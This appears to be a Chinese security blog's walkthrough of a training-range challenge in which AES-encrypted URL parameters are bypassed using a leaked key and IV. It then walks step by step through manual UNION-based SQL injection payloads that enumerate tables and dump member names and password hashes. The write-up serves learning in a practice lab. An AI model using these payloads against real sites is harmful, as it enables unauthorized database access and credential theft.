www.xiahuhu.cn
关注网络安全

SQL注入之参数加密–【SQL注入专题】

我有话要说:大锅本站部分分享的资源来自网络,如有侵权及其他事宜请点击联系我处理
之前突然对web安全有了有兴趣,想深入的学习下web安全相关的知识,所以在网上找了一个在线靶场(墨者学院)当练练手了,结果做着做着就停不下来了,积分一下子就刷到了第一,总共130几个靶场环境都基本上做完了,这里也把每个题的所涉及到的知识点分享出来。

背景介绍

此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么?

实训目标

1、掌握信息泄露的方式;

2、了解AES加解密;

3、了解PHP的基本语法;

4、掌握手工SQL注入;

5、了解MySQL数据库的结构;

解题方向

通过SQL注入方式,获取WEB业务系统的账号密码进行登录。

#扫描目录

通过扫描得到有一个news目录,访问目录有一个list.php和list.zip

下载zip文件,发现里面是解密过程的代码:

第6行:加密模式为cbc,数据块为128位,第7行:AES的加密长度是128位,秘钥为:ydhaqPQnexoaDuW3,偏移量为:2018201920202021,第8行:数据进行两次base64加密,再进行一次aes加密。第11行:判断字符串是否存在“_mozhe”

所以构造playload的时候先将注入的字符串末尾加上”_mozhe“字符,然后进行AES加密,因为AES默认是进行了一次base64加密,所以AES加密之后只需要进行一次base64加密即可。

了解了加解密的方式之后,后面就是常规的注入了:

 

#判断字段数

AES加密网站:http://tool.chacuo.net/cryptaes

BASE64加密网站:https://www.sojson.com/base64.html

Payload:1 order by 4_mozhe

AES加密后:6OtNl6C1fetvO17InENVLzVh3oz3mmyrjo3gT1QmufU=

Base64加密后:Nk90Tmw2QzFmZXR2TzE3SW5FTlZMelZoM296M21teXJqbzNnVDFRbXVmVT0=

页面显示正常,5的时候显示错误,说明有4个字段。

 

#判断显示位

Payload:-1 union select 1,2,3,4_mozhe

AES加密后:xgd58ipTrnx8VzSBJicqCo3+zFFzhay5byFU3cjbdeI=

Base64加密后:eGdkNThpcFRybng4VnpTQkppY3FDbzMrekZGemhheTVieUZVM2NqYmRlST0=

 

显示位为2和3

 

#显示当前数据库

Payload:-1 union select 1,database(),3,4_mozhe

 

#爆表

payload:-1 union select 1,group_concat(table_name),3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup'limit 0,1_mozhe

 

#爆列

Payload:-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'limit 0,1_mozhe

 

#爆字段:

Payload:-1 union select 1,group_concat(name,password),3,4 from StormGroup_member limit 0,1_mozhe

 

最后解密md5获得key

赞(0) 打赏
未经允许不得转载:花生米's Blog » SQL注入之参数加密–【SQL注入专题】
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏